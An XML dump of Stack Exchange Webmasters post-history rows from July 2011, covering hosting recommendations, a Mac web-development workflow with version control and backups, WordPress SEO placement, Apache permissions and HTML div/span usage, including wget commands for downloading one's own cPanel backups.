  <row Id="39282" PostHistoryTypeId="2" PostId="16485" RevisionGUID="c2dbeb1b-c753-4fd3-9f54-0a30e48cd2ca" CreationDate="2011-07-06T11:15:01.807" UserId="8822" Text="[Ariotek.co.uk][1] Offer great customer service and uptime never had any problems with them in the 2 years ive been with them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ariotek.co.uk" />
  <row Id="39283" PostHistoryTypeId="2" PostId="16486" RevisionGUID="8bdcd95c-6a43-4fe7-9753-3e7148510c41" CreationDate="2011-07-06T11:21:12.053" UserId="7801" Text="I've tried several times to get my head around this but failed everytime!!&#xD;&#xA;&#xD;&#xA;I want to setup a working environment for creating websites that is efficient and straight forward to use. It needs to include version control and automatic backups as well as the ability to create and edit files.&#xD;&#xA;&#xD;&#xA;The software list I have is:&#xD;&#xA;&#xD;&#xA;1. Coda/Dreamweaver - for file editing.&#xD;&#xA;2. Transmit - FTP client&#xD;&#xA;&#xD;&#xA;The software I'm missing is:&#xD;&#xA;&#xD;&#xA;1. Something for version control.&#xD;&#xA;2. Something for automatic backups of both the files and database of the websites.&#xD;&#xA;3. The ability to edit live files rather than FTP them down, edit, then FTP back up again.&#xD;&#xA;&#xD;&#xA;Is there anything else that may be useful to include?&#xD;&#xA;&#xD;&#xA;Ideally I'd like this as integrated as possible. I may also need some hand holding through the whole process!&#xD;&#xA;&#xD;&#xA;**The most important aspect is that I'm on a Mac.**" />
  <row Id="39284" PostHistoryTypeId="1" PostId="16486" RevisionGUID="8bdcd95c-6a43-4fe7-9753-3e7148510c41" CreationDate="2011-07-06T11:21:12.053" UserId="7801" Text="Working environment for web designer - editing files, version control, auto backups (Mac)" />
  <row Id="39285" PostHistoryTypeId="3" PostId="16486" RevisionGUID="8bdcd95c-6a43-4fe7-9753-3e7148510c41" CreationDate="2011-07-06T11:21:12.053" UserId="7801" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;backups&gt;&lt;subversion&gt;" />
  <row Id="39286" PostHistoryTypeId="2" PostId="16487" RevisionGUID="1cad3c70-951f-41c1-a2f7-d845aacec2e6" CreationDate="2011-07-06T11:53:26.670" UserId="5026" Text="Does anyone have any recommendations for (opensource?) database driven web applications?&#xD;&#xA;&#xD;&#xA;I am thinking of building a database of restaurant menus.&#xD;&#xA;&#xD;&#xA;I need to create restaurants, menus, &amp; dishes.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="39287" PostHistoryTypeId="1" PostId="16487" RevisionGUID="1cad3c70-951f-41c1-a2f7-d845aacec2e6" CreationDate="2011-07-06T11:53:26.670" UserId="5026" Text="Database driven website software" />
  <row Id="39288" PostHistoryTypeId="3" PostId="16487" RevisionGUID="1cad3c70-951f-41c1-a2f7-d845aacec2e6" CreationDate="2011-07-06T11:53:26.670" UserId="5026" Text="&lt;web-applications&gt;&lt;database&gt;" />
  <row Id="39289" PostHistoryTypeId="10" PostId="16483" RevisionGUID="679e3b33-f582-4f23-ab40-2fcf4c77f2b8" CreationDate="2011-07-06T11:55:03.020" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39290" PostHistoryTypeId="6" PostId="16487" RevisionGUID="6bb8b1ba-1a7b-4f77-80f8-47274a1dfef8" CreationDate="2011-07-06T11:55:37.590" UserId="1253" Comment="edited tags" Text="&lt;looking-for-a-script&gt;" />
  <row Id="39291" PostHistoryTypeId="2" PostId="16488" RevisionGUID="f6cb8346-d4c4-4c44-af16-addd88e62a43" CreationDate="2011-07-06T12:00:23.280" UserId="1253" Text="cPanel has built in back up functionality. It is found under Backup &gt; Configure Backup. It can be set to run monthly and includes database data." />
  <row Id="39292" PostHistoryTypeId="5" PostId="16468" RevisionGUID="51c76569-27b1-468c-9e4e-d856eacb9482" CreationDate="2011-07-06T12:01:52.670" UserId="4131" Comment="Copyediting" Text="I got a client portfolio website and he opens a Wordpress blog with articles related to his profession. What the best for SEO - install it as subdomain or as folder?&#xD;&#xA;&#xD;&#xA;    www.myclientsite.com/blog/&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    blog.myclientsite.com&#xD;&#xA;&#xD;&#xA;This is fresh domain without any previous content." />
  <row Id="39293" PostHistoryTypeId="4" PostId="16468" RevisionGUID="51c76569-27b1-468c-9e4e-d856eacb9482" CreationDate="2011-07-06T12:01:52.670" UserId="4131" Comment="Copyediting" Text="Wordpress installation - Subdomain or as folder?" />
  <row Id="39294" PostHistoryTypeId="6" PostId="16468" RevisionGUID="51c76569-27b1-468c-9e4e-d856eacb9482" CreationDate="2011-07-06T12:01:52.670" UserId="4131" Comment="Copyediting" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;subdomain&gt;" />
  <row Id="39295" PostHistoryTypeId="24" PostId="16468" RevisionGUID="51c76569-27b1-468c-9e4e-d856eacb9482" CreationDate="2011-07-06T12:01:52.670" Comment="Proposed by 4131 approved by 1253 edit id of 428" />
  <row Id="39296" PostHistoryTypeId="5" PostId="16468" RevisionGUID="5ab596a2-e6a3-4ce9-8773-afc436b2897b" CreationDate="2011-07-06T12:02:22.593" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Subdomain versus subdirectory](http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I got a client portfolio website and he opens a Wordpress blog with articles related to his profession. What the best for SEO - install it as subdomain or as folder?&#xD;&#xA;&#xD;&#xA;    www.myclientsite.com/blog/&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    blog.myclientsite.com&#xD;&#xA;&#xD;&#xA;This is fresh domain without any previous content." />
  <row Id="39297" PostHistoryTypeId="10" PostId="16468" RevisionGUID="158769b1-31fd-4f46-b332-0347c1d7f95c" CreationDate="2011-07-06T12:02:21.953" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39298" PostHistoryTypeId="5" PostId="10867" RevisionGUID="37bbab2c-4fbc-48e2-adff-b6d23c20d091" CreationDate="2011-07-06T12:03:35.447" UserId="1253" Comment="deleted 18 characters in body; edited tags" Text="Can any suggest a good (ideally) UK based reseller web host. I don't want the cheapest solution. I want a robust, quality one. Needs to run php5 and MySQL.&#xD;&#xA;&#xD;&#xA;I have been considering a managed dedicated server instead of a reseller account so if anyone has good experiences please let me know.&#xD;&#xA;" />
  <row Id="39299" PostHistoryTypeId="6" PostId="10867" RevisionGUID="37bbab2c-4fbc-48e2-adff-b6d23c20d091" CreationDate="2011-07-06T12:03:35.447" UserId="1253" Comment="deleted 18 characters in body; edited tags" Text="&lt;linux&gt;&lt;looking-for-hosting&gt;&lt;dedicated-hosting&gt;&lt;reseller&gt;" />
  <row Id="39300" PostHistoryTypeId="5" PostId="4882" RevisionGUID="abc8623d-4d7e-49c5-93bf-344fa7dfc0f5" CreationDate="2011-07-06T12:06:50.577" UserId="1253" Comment="modified tags" Text="Im currently shopping around for a web host for our website we are hoping to release in the near future.&#xD;&#xA;&#xD;&#xA;This is my first real step into this area. Just wondering what I should be looking for. It is an ASP.net MVC website with an MS SQL Server backend. I need to know that the server will not buckle if the traffic booms.&#xD;&#xA;&#xD;&#xA;Currently im looking at a managed dedicated server from singlehop. Does anyone know any better or have any advice.&#xD;&#xA;" />
  <row Id="39301" PostHistoryTypeId="6" PostId="4882" RevisionGUID="abc8623d-4d7e-49c5-93bf-344fa7dfc0f5" CreationDate="2011-07-06T12:06:50.577" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;asp.net-mvc&gt;" />
  <row Id="39302" PostHistoryTypeId="2" PostId="16489" RevisionGUID="3b5bbd31-6d6d-4cee-9cd0-f8f0699613cc" CreationDate="2011-07-06T12:07:02.977" UserId="8823" Text="I don't if there is something FOSS that exactly suits your needs, but I'd bet you could make what you need with Drupal without too much trouble." />
  <row Id="39303" PostHistoryTypeId="2" PostId="16490" RevisionGUID="bdffcfe4-f76c-487b-9616-97cd03e9fd2e" CreationDate="2011-07-06T12:09:12.447" UserId="8823" Text="I use MacRabbit's Espresso software, which does most of what you need (it has excellent FTP capabilities built-in).  You should give them a look.&#xD;&#xA;&#xD;&#xA;For version control, I use Git.  I, personally use it from the command line, but there are some nice GUI's for Git out there.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="39304" PostHistoryTypeId="2" PostId="16491" RevisionGUID="0e38768f-a03e-458d-b7cb-eb4c26b5bb80" CreationDate="2011-07-06T12:18:15.777" UserId="8823" Text="Both Nick and Toby have answered your question nicely, but to take it one level further.&#xD;&#xA;&#xD;&#xA;By default, &lt;div&gt;s are block elements and &lt;span&gt;s are inline elements.  These are generic tags that simple provide block or inline containers.  In practice, these can be twisted via CSS to be somewhat interchangeable by setting the display css-attribute to 'block', 'inline' or even 'inline-block' (amongst others).&#xD;&#xA;&#xD;&#xA;However, bending them to act like one another isn't recommended.  And, there are rules in HTML that actually prevent using block-level elements inside of other elements (mostly inline elements like the &lt;a&gt; tag), so, you should try to use the right tag where it is appropriate and only try to override their behaviour when absolutely necessary.&#xD;&#xA;&#xD;&#xA;Try to think of them as semantic elements.  Use &lt;span&gt; when you want to tag content used inside of blocks of text, for example and use &lt;div&gt;'s when you need to add extra structure to the page itself.&#xD;&#xA;&#xD;&#xA;Having said this, HTML5 has a plethora of semantic elements that should significantly reduce needing to use either of these generic tags.  Using semantic tags is highly recommended over adding copious amounts of divs and spans.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="39305" PostHistoryTypeId="2" PostId="16492" RevisionGUID="939d3a62-561a-48d1-aebf-6ba663529a0b" CreationDate="2011-07-06T12:23:07.507" UserId="8824" Text="I recommend Git for your version control and the GUI that I use is &quot;Tower&quot; [www.git-tower.com][1] the other one is GitHub mac.github.com.&#xD;&#xA;&#xD;&#xA;MacRabbit's [Espresso][3] is wonderful (Version 2 is on the way!)&#xD;&#xA;&#xD;&#xA;Transmit lets you open a file in you editor, do the edit, then pushes the change up to the site when you save the file. (This is a safer method than just editing a file live.&#xD;&#xA;&#xD;&#xA;Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.git-tower.com&#xD;&#xA;  [3]: http://macrabbit.com/espresso" />
  <row Id="39306" PostHistoryTypeId="2" PostId="16493" RevisionGUID="2149e768-dc46-4d4c-b4fc-f7b68bb43b36" CreationDate="2011-07-06T12:26:31.943" UserId="8823" Text="A Mac Mini is simply a small computer.  It was engineered to have a small footprint on your desk and the trade-off is that it may have fewer I/O ports than other computers.  Mac Mini's will also often have smaller or less capable processors, because of the engineering desire to eliminate the need for other space-hogging elements like larger heat sinks and or fans.  My older PPC-based Mac Mini has been serving me very well for the past 5 years.  I have it serving a number of web-sites (all fairly low traffic though) and it serves as a network fileserver and host for my Drobo.&#xD;&#xA;&#xD;&#xA;So, just because it is small doesn't mean it isn't capable.  It is. And, there is no reason to install Ubuntu as Matthew suggests, Mac OS X is fully capable to provide services like HTTP (web), Mail, FTP and other things we've become to expect.  In fact, My Mac Mini has 2GBs of RAM and this is 4X the amount I would get in many cases for an entry-level hosting service online.&#xD;&#xA;&#xD;&#xA;Finally, if the normal Mac OS X doesn't provide enough services for you, you can even install Mac OS X Server on the unit to get more enterprise-level services.  I know of a hosting service that actually sells racks and racks of these to customers and they perform quite nicely as &quot;servers&quot;, with a small &quot;rack&quot; footprint and power consumption.&#xD;&#xA;&#xD;&#xA;I have a number of Macs and other types of computers here and no matter how old my Mac Mini gets, I still have good use for it.  It is a work horse!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;- Martin" />
  <row Id="39307" PostHistoryTypeId="25" PostId="16486" RevisionGUID="5df93762-9aaf-416f-913c-4afb1bc2b739" CreationDate="2011-07-06T12:27:18.440" Comment="http://twitter.com/#!/StackWebmasters/status/88584804911677440" />
  <row Id="39308" PostHistoryTypeId="5" PostId="16487" RevisionGUID="821a98c8-d7c4-4915-81a4-6b18626259ed" CreationDate="2011-07-06T12:33:40.263" UserId="5026" Comment="added 59 characters in body" Text="Does anyone have any recommendations for (opensource?) database driven web applications?  I am looking for ready-made off the shelf software, which can display a database of restaurant menus, which can be searched by users, and sorted by price, location etc.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="39309" PostHistoryTypeId="5" PostId="16491" RevisionGUID="f21e0c29-4cdc-4df8-8cf3-0c0b586950eb" CreationDate="2011-07-06T12:39:19.660" UserId="8823" Comment="added 10 characters in body" Text="Both Nick and Toby have answered your question nicely, but to take it one level further.&#xD;&#xA;&#xD;&#xA;By default, `&lt;div&gt;`s are block elements and `&lt;span&gt;`s are inline elements.  These are generic tags that simple provide block or inline containers.  In practice, these can be twisted via CSS to be somewhat interchangeable by setting the display css-attribute to 'block', 'inline' or even 'inline-block' (amongst others).&#xD;&#xA;&#xD;&#xA;However, bending them to act like one another isn't recommended.  And, there are rules in HTML that actually prevent using block-level elements inside of other elements (mostly inline elements like the `&lt;a&gt;` tag), so, you should try to use the right tag where it is appropriate and only try to override their behaviour when absolutely necessary.&#xD;&#xA;&#xD;&#xA;Try to think of them as semantic elements.  Use `&lt;span&gt;` when you want to tag content used inside of blocks of text, for example and use `&lt;div&gt;`'s when you need to add extra structure to the page itself.&#xD;&#xA;&#xD;&#xA;Having said this, HTML5 has a plethora of semantic elements that should significantly reduce needing to use either of these generic tags.  Using semantic tags is highly recommended over adding copious amounts of divs and spans.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="39310" PostHistoryTypeId="2" PostId="16494" RevisionGUID="755b11d2-bd3f-4412-8af4-ed362820bc1c" CreationDate="2011-07-06T12:41:33.043" UserId="7198" Text="Using [Coda,](http://www.panic.com/coda/) [Transmit,](http://www.panic.com/coda/) [Dropbox,](http://dropbox.com/) and Dropbox's [packrat](http://www.dropbox.com/help/113) feature, here's what I do:&#xD;&#xA;&#xD;&#xA;###The workflow&#xD;&#xA;1. Create a new folder in my local Dropbox directory for each new project.&lt;sup&gt;1&lt;/sup&gt; &#xD;&#xA;2. Create a new 'Site' in [Coda](http://www.panic.com/coda/), and set the folder from step 1 as the site's 'Local Root' folder.&#xD;&#xA;3. Set the 'Remote Root' to the identical folder on the server.&#xD;&#xA;3. Work on all files locally, and use Coda's 'Publish All' feature to push local file changes to the remote site periodically for testing.&#xD;&#xA;&#xD;&#xA;###What this gives me&#xD;&#xA;&#xD;&#xA; - **Automatic backups of all files to Dropbox with automatic unlimited versioning.** (Packrat gives you the unlimited versioning, but the standard 30-days worth of versioning might be enough for many). Every time I save a file, it's automatically saved to Dropbox as a new version. I can rollback any file at any time via the Dropbox Web interface. Since I rarely need to roll back, I rarely use this, but it's nice to have it, and it's saved my skin a few times. &#xD;&#xA; - **'Proper' version control.** (Subversion support is now built into Coda, and there are Git [plugins](http://www.panic.com/coda/developer/community/plugins.php).)&#xD;&#xA; - **Two-way syncing with Transmit.** If I suspect remote files have changed between edits, I use Transmit's mirroring features to sync remote changes from the server to my local machine. This is not a substitute for using more structured version control for code synchronisation and deployment, but for small projects and one-man jobs, it often suffices.&#xD;&#xA; - **One-window general development** with Coda (which supports direct remote file editing without needing to set up a new Site if you need it, as does Transmit.)&#xD;&#xA;&#xD;&#xA;From your wishlist, that gives you version control, automatic code backups, and remote file editing if you need it. (For safety I recommend working on the Dropbox-stored local copy and publishing changes to the server from time to time so that you maintain both a local and Dropbox backup automatically.)&#xD;&#xA;&#xD;&#xA;###What about database backups?&#xD;&#xA;Although I love [Navicat](http://www.navicat.com/) for MySQL database tinkering, I've not found a Mac-native automated database backup solution that I've been happy with. You could certainly hack together something using Automator/th3 aw3s0mE p0w3r of Unix, but I don't like to think that essential backups depend on my work machine being switched on (it's a laptop, after all!), so I found another solution.&#xD;&#xA;&#xD;&#xA;I use Hostgator's [Site Auto Backup](http://siteautobackup.com/). It's a hosted service that lets you backup any website that uses the cPanel control panel (most shared sites) with minimal configuration. It backs up files, databases, emails and logs every day. If your site doesn't use cPanel, it can back up via FTP and MySQL connections directly, which requires only a little more configuration.&#xD;&#xA;&#xD;&#xA;Site Auto Backup costs about $20/year if you pay annually, and I think it's well worth it for peace of mind. The admin interface could do with a bit of a refresh (see below), but it works as advertised and you can backup any site with it (not just Hostgator ones). There's no limit to the number of sites you can backup (you just page for storage), so I backup all my client sites this way too. I don't charge for this as I consider it a basic essential service that's just part of the job, but you could bill clients for the service if you wanted to.&#xD;&#xA;&#xD;&#xA;![Hostgator's Site Auto Backup][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/H0H1s.png&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;###Notes on Dropbox directory structure:&#xD;&#xA;1: I have a single directory in my Dropbox folder called 'Sites', with subdirectories for each project named using the project's domain name: 'theproject.com' or 'beta.theproject.com' etc. If I'm starting a new site, the local site folder will be empty. If I'm working on an existing site, I will download the remote root directory to the local folder. (If I'm working on a WordPress site, I download only the `wp-content` or `themes` folder to save time.)&#xD;&#xA;&#xD;&#xA;If I have multiple sites hosted on one server, I create several folders locally and several separate Sites in Coda (with the same FTP details)." />
  <row Id="39311" PostHistoryTypeId="2" PostId="16495" RevisionGUID="f082d676-27b9-4bce-8ce5-768cba48c54b" CreationDate="2011-07-06T13:02:42.370" UserId="8826" Text="I'm running an ubuntu server with apache and I have web directory which is owned by the user www-data and the group www-data. WordPress works great in this directory. It can auto update and I can upload files.&#xD;&#xA;&#xD;&#xA;I want to also create a web directory which is owned by another custom user I'm going to add. However when I change the owner on the web directory from www-data to the customer user WordPress is no longer to auto update and I can not upload unless I change the group permission.&#xD;&#xA;&#xD;&#xA;Is there a way to make my custom user act like the apache www-data user?" />
  <row Id="39312" PostHistoryTypeId="1" PostId="16495" RevisionGUID="f082d676-27b9-4bce-8ce5-768cba48c54b" CreationDate="2011-07-06T13:02:42.370" UserId="8826" Text="Apache, www-data and custom user permission" />
  <row Id="39313" PostHistoryTypeId="3" PostId="16495" RevisionGUID="f082d676-27b9-4bce-8ce5-768cba48c54b" CreationDate="2011-07-06T13:02:42.370" UserId="8826" Text="&lt;apache&gt;&lt;wordpress&gt;&lt;users&gt;" />
  <row Id="39314" PostHistoryTypeId="2" PostId="16496" RevisionGUID="1143a2cf-2f9e-4a40-ad43-d138316dd302" CreationDate="2011-07-06T13:05:41.820" UserId="7588" Text="This can be done with Expression Engine - Open Source but paid for. You should also be able to make it look good. They do some 'academic' free-licences to develop with." />
  <row Id="39315" PostHistoryTypeId="10" PostId="16329" RevisionGUID="71d74fe6-f0ac-4de7-af94-66a67fbf3158" CreationDate="2011-07-06T13:25:19.980" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39316" PostHistoryTypeId="5" PostId="16486" RevisionGUID="a79bddaa-ef3b-4372-842a-d3453b424c23" CreationDate="2011-07-06T13:45:27.497" UserId="7801" Comment="added more info" Text="I've tried several times to get my head around this but failed everytime!!&#xD;&#xA;&#xD;&#xA;I want to setup a working environment for creating websites that is efficient and straight forward to use. It needs to include version control and automatic backups as well as the ability to create and edit files.&#xD;&#xA;&#xD;&#xA;The software list I have is:&#xD;&#xA;&#xD;&#xA;1. Coda/Dreamweaver - for file editing.&#xD;&#xA;2. Transmit - FTP client&#xD;&#xA;&#xD;&#xA;The software I'm missing is:&#xD;&#xA;&#xD;&#xA;1. Something for version control.&#xD;&#xA;2. Something for automatic backups of both the files and database of the websites.&#xD;&#xA;3. The ability to edit live files rather than FTP them down, edit, then FTP back up again.&#xD;&#xA;&#xD;&#xA;Is there anything else that may be useful to include?&#xD;&#xA;&#xD;&#xA;Ideally I'd like this as integrated as possible. I may also need some hand holding through the whole process!&#xD;&#xA;&#xD;&#xA;**The most important aspect is that I'm on a Mac.**&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;One thing I forgot to mention is that I'm running several different sites with a mixture of static html and Wordpress." />
  <row Id="39317" PostHistoryTypeId="5" PostId="16494" RevisionGUID="ab38a90f-6363-48e1-8778-8e8e01ecef43" CreationDate="2011-07-06T14:10:11.050" UserId="7198" Comment="added 37 characters in body" Text="Using [Coda,](http://www.panic.com/coda/) [Transmit,](http://www.panic.com/coda/) [Dropbox,](http://dropbox.com/) and Dropbox's [packrat](http://www.dropbox.com/help/113) feature, here's what I do:&#xD;&#xA;&#xD;&#xA;###The workflow&#xD;&#xA;1. Create a new folder in my local Dropbox directory for each new project.&lt;sup&gt;1&lt;/sup&gt; &#xD;&#xA;2. Create a new 'Site' in [Coda](http://www.panic.com/coda/), and set the folder from step 1 as the site's 'Local Root' folder.&#xD;&#xA;3. Set the 'Remote Root' to the identical folder on the server.&#xD;&#xA;3. Work on all files locally, and use Coda's 'Publish All' feature to push local file changes to the remote site periodically for testing.&#xD;&#xA;&#xD;&#xA;###What this gives me&#xD;&#xA;&#xD;&#xA; - **Automatic backups of all files to Dropbox with automatic unlimited versioning.** (Packrat gives you the unlimited versioning, but the standard 30-days worth of versioning might be enough for many). Every time I save a file, it's automatically saved to Dropbox as a new version. I can rollback any file at any time via the Dropbox Web interface. Since I rarely need to roll back, I rarely use this, but it's nice to have it, and it's saved my skin a few times. &#xD;&#xA; - **'Proper' version control.** (Subversion support is now built into Coda, and there are Git [plugins](http://www.panic.com/coda/developer/community/plugins.php).)&#xD;&#xA; - **Two-way syncing with Transmit.** If I suspect remote files have changed between edits, I use Transmit's mirroring features to sync remote changes from the server to my local machine. This is not a substitute for using more structured version control for code synchronisation and deployment, but for small projects and one-man jobs, it often suffices.&#xD;&#xA; - **One-window general development** with Coda (which supports direct remote file editing without needing to set up a new Site if you need it, as does Transmit.)&#xD;&#xA;&#xD;&#xA;From your wishlist, that gives you version control, automatic code backups, and remote file editing if you need it. (For safety I recommend working on the Dropbox-stored local copy and publishing changes to the server from time to time so that you maintain both a local and Dropbox backup automatically.)&#xD;&#xA;&#xD;&#xA;###What about database backups?&#xD;&#xA;Although I love [Navicat](http://www.navicat.com/) for MySQL database tinkering, I've not found a Mac-native automated database backup solution that I've been happy with. You could certainly hack together something using Automator/th3 aw3s0mE p0w3r of Unix, but I don't like to think that essential backups depend on my work machine being switched on (it's a laptop, after all!), so I found another solution.&#xD;&#xA;&#xD;&#xA;I use Hostgator's [Site Auto Backup](http://siteautobackup.com/). It's a hosted service that lets you backup any website that uses the cPanel control panel (most shared hosting sites) with minimal configuration. It backs up files, databases, emails and logs every day. If your site doesn't use cPanel, it can back up via FTP and MySQL connections directly, which requires only a little more configuration.&#xD;&#xA;&#xD;&#xA;Site Auto Backup costs about $20/year if you pay annually, and I think it's worth it for peace of mind. The admin interface could do with a bit of a refresh (see below), but it works as advertised and you can backup any site with it, not just Hostgator ones. There's no limit to the number of sites you can backup -- you just pay for storage over the provided 1GB -- so I backup all my client sites this way too. I don't charge for this as I consider it a basic essential service that's just part of the job, but you could bill clients for the service if you wanted to.&#xD;&#xA;&#xD;&#xA;![Hostgator's Site Auto Backup][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/H0H1s.png&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;###Notes on Dropbox directory structure:&#xD;&#xA;&lt;sup&gt;1:&lt;/sup&gt; I have a single directory in my Dropbox folder called 'Sites', with subdirectories for each project named using the project's domain name: 'theproject.com' or 'beta.theproject.com' etc. If I'm starting a new site, the local site folder will be empty. If I'm working on an existing site, I will download the remote root directory to the local folder. (If I'm working on a WordPress site, I download only the `wp-content` or `themes` folder to save time.)&#xD;&#xA;&#xD;&#xA;If I have multiple sites hosted on one server, I create several folders locally and several separate Sites in Coda (with the same FTP details)." />
  <row Id="39318" PostHistoryTypeId="5" PostId="16476" RevisionGUID="a63f4456-f235-4653-9788-b426d3c88058" CreationDate="2011-07-06T14:12:44.493" UserId="1643" Comment="Include command for backing up files" Text="I'm presuming you want to back up somewhere locally, rather than push the data somewhere else on the internet.&#xD;&#xA;&#xD;&#xA;The getsqlbackup command which comes with some versions of cPanel can backup your databases for you. You need to get [wget][1] and then write a local batch file/script like this:&#xD;&#xA;&#xD;&#xA;    wget http://username:password@domain.com:2082/getsqlbackup/databasename.gz --output-document=backupdir/databasename.gz&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For backing up the files use this command&#xD;&#xA;&#xD;&#xA;    wget http://username:password@domain.com:2082/getbackup/sitename.tar.gz --output-document=backupdir/sitename.tar.gz&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/wget/" />
  <row Id="39319" PostHistoryTypeId="5" PostId="16494" RevisionGUID="da192b0e-3165-414e-b9b5-9924f7d587e9" CreationDate="2011-07-06T14:42:12.223" UserId="7198" Comment="deleted 37 characters in body" Text="Using [Coda,](http://www.panic.com/coda/) [Transmit,](http://www.panic.com/coda/) [Dropbox,](http://dropbox.com/) and Dropbox's [packrat](http://www.dropbox.com/help/113) feature, here's what I do:&#xD;&#xA;&#xD;&#xA;###The workflow&#xD;&#xA;1. Create a new folder in my local Dropbox directory for each new project.&lt;sup&gt;1&lt;/sup&gt; &#xD;&#xA;2. Create a new 'Site' in [Coda](http://www.panic.com/coda/), and set the folder from step 1 as the site's 'Local Root' folder.&#xD;&#xA;3. Set the 'Remote Root' to the identical folder on the server.&#xD;&#xA;3. Work on all files locally, and use Coda's 'Publish All' feature to push local file changes to the remote site periodically for testing.&#xD;&#xA;&#xD;&#xA;###What this gives me&#xD;&#xA;&#xD;&#xA; - **Automatic backups of all files to Dropbox with automatic unlimited versioning.** (Packrat gives you the unlimited versioning, but the standard 30 day versioning history might be enough for many). Every time I save a file it's automatically saved to Dropbox as a new version. I can rollback any file at any time via the Dropbox Web interface. I rarely use this, but it's nice to have it as it's saved my skin a few times. &#xD;&#xA; - **'Proper' version control.** (Subversion support is now built into Coda, and there are Git [plugins](http://www.panic.com/coda/developer/community/plugins.php).)&#xD;&#xA; - **Two-way syncing with Transmit.** If I suspect remote files have changed between edits, I use Transmit's mirroring features to sync remote changes from the server to my local machine. This is not a substitute for using more structured version control for code synchronisation and deployment, but for small projects and one-man jobs, it often suffices.&#xD;&#xA; - **One-window general development** with Coda (which supports direct remote file editing without needing to set up a new Site if you need it, as does Transmit.)&#xD;&#xA;&#xD;&#xA;From your wishlist, that gives you version control, automatic code backups, and remote file editing if you need it. (For safety I recommend working on the Dropbox-stored local copy and publishing changes to the server from time to time so that you maintain both a local and Dropbox backup automatically.)&#xD;&#xA;&#xD;&#xA;###What about database backups?&#xD;&#xA;Although I love [Navicat](http://www.navicat.com/) for MySQL database tinkering, I've not found a Mac-native automated database backup solution that I've been happy with. You could certainly hack together something using Automator/th3 aw3s0mE p0w3r of Unix, but I don't like to think that essential backups depend on my work machine being switched on (it's a laptop, after all!), so I found another solution.&#xD;&#xA;&#xD;&#xA;I use Hostgator's [Site Auto Backup](http://siteautobackup.com/). It's a hosted service that lets you backup any website that uses the cPanel control panel (most shared hosting sites) with minimal configuration. It backs up files, databases, emails and logs every day. If your site doesn't use cPanel, it can back up via FTP and MySQL connections directly, which requires only a little more configuration.&#xD;&#xA;&#xD;&#xA;Site Auto Backup costs about $20/year if you pay annually, and I think it's worth it for peace of mind. The admin interface could do with a bit of a refresh (see below), but it works as advertised and you can backup any site with it, not just Hostgator ones. There's no limit to the number of sites you can backup -- you just pay for storage over the provided 1GB -- so I backup all my client sites this way too. I don't charge for this as I consider it a basic essential service that's just part of the job, but you could bill clients for the service if you wanted to.&#xD;&#xA;&#xD;&#xA;![Hostgator's Site Auto Backup][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/H0H1s.png&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;###Notes on Dropbox directory structure:&#xD;&#xA;&lt;sup&gt;1:&lt;/sup&gt; I have a single directory in my Dropbox folder called 'Sites', with subdirectories for each project named using the project's domain name: 'theproject.com' or 'beta.theproject.com' etc. If I'm starting a new site, the local site folder will be empty. If I'm working on an existing site, I will download the remote root directory to the local folder. (If I'm working on a WordPress site, I download only the `wp-content` or `themes` folder to save time.)&#xD;&#xA;&#xD;&#xA;If I have multiple sites hosted on one server, I create several folders locally and several separate Sites in Coda (with the same FTP details)." />
  <row Id="39320" PostHistoryTypeId="25" PostId="16475" RevisionGUID="b77c4b48-16f3-45a2-9580-b2903936e23f" CreationDate="2011-07-06T15:27:18.657" Comment="http://twitter.com/#!/StackWebmasters/status/88630104888057858" />
